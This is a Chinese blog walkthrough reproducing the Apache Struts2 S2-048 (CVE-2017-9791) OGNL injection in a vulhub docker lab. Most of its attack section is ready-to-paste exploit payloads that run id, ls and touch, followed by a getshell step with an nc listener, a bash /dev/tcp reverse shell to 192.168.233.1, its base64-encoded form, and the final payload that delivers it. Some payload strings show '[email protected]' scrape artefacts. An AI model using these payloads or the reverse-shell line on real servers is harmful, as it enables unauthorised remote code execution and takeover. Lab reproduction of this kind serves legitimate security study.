[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)

博主介绍

‍ 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入s2-048环境
    • 2、启动s2-048环境
    • 3、查看s2-048环境
    • 4、访问s2-048环境
    • 5、查看s2-048漏洞提示信息
    • 6、关闭s2-048环境
  • 五、漏洞复现
    • 1、打开漏洞页面
    • 2、验证漏洞存在
    • 3、POC
    • 4、执行id
    • 5、执行ls
    • 6、执行touch /tmp/PowerShell.txt
  • 六、getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.反弹shell命令
      • 2.exec编码
      • 3.payload
    • 4、执行命令
    • 3、getshell成功
  • 七、漏洞修复
  • 八、相关资源

一、漏洞编号

s2-048
CVE-2017-9791

二、影响范围

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本

三、漏洞描述

Apache Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录,其漏洞成因是当ActionMessage接收客户可控的参数数据时,用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行,导致任意代码执行。

四、环境搭建

1、进入s2-048环境

cd vulhub/struts2/s2-048

在这里插入图片描述

2、启动s2-048环境

docker-compose up -d

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第1张图片

3、查看s2-048环境

docker-compose ps

在这里插入图片描述

4、访问s2-048环境

http://ip:端口/integration/editGangster.action

http://192.168.233.128:8080/integration/editGangster.action

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第2张图片

5、查看s2-048漏洞提示信息

cat README.md

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第3张图片

6、关闭s2-048环境

复现完记得关闭环境

docker-compose down

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第4张图片

五、漏洞复现

1、打开漏洞页面

http://ip:端口/integration/editGangster.action

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第5张图片

2、验证漏洞存在

先输入${1+1}以查看执行结果。

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第6张图片

可以看到页面回显2,输入1=1的逻辑正确,证明存在该漏洞。

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第7张图片

3、POC

把需要执行的命令替换下面的命令即可

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('命令').getInputStream())).(#q)}

4、执行id

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第8张图片

查看返回结果,发现id执行成功,该poc有效,该页面存在s2-048漏洞

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第9张图片

5、执行ls

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())).(#q)}

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第10张图片

6、执行touch /tmp/PowerShell.txt

尝试在/tmp目录下创建PowerShell.txt文件

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('touch /tmp/PowerShell.txt').getInputStream())).(#q)}

无回显

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第11张图片

进入容器查看一下,发现文件创建成功

docker ps
docker exec -it 容器ID /bin/bash
ls /tmp

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第12张图片

六、getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

Bash反弹shell详解在文末给出

bash -i >& /dev/tcp/192.168.233.1/55555 0>&1

2.exec编码

编码工具在文末给出

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第13张图片

3.payload

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xLzU1NTU1IDA+JjE=}|{base64,-d}|{bash,-i}').getInputStream())).(#q)}

4、执行命令

提交之后浏览器页面一直再转圈圈

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第14张图片

3、getshell成功

等了一小会儿之后发现shell反弹过来了

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第15张图片

执行ls /tmp发现我们之前创建的文件

[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞s2-048(CVE-2017-9791)_第16张图片

七、漏洞修复

建议Apache Struts2 套件升级到最新版本

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、Exec编码工具

你可能感兴趣的:(轮播展示专栏,vulhub漏洞复现,Apache,Struts2,远程代码执行漏洞,s2-048,CVE-2017-9791)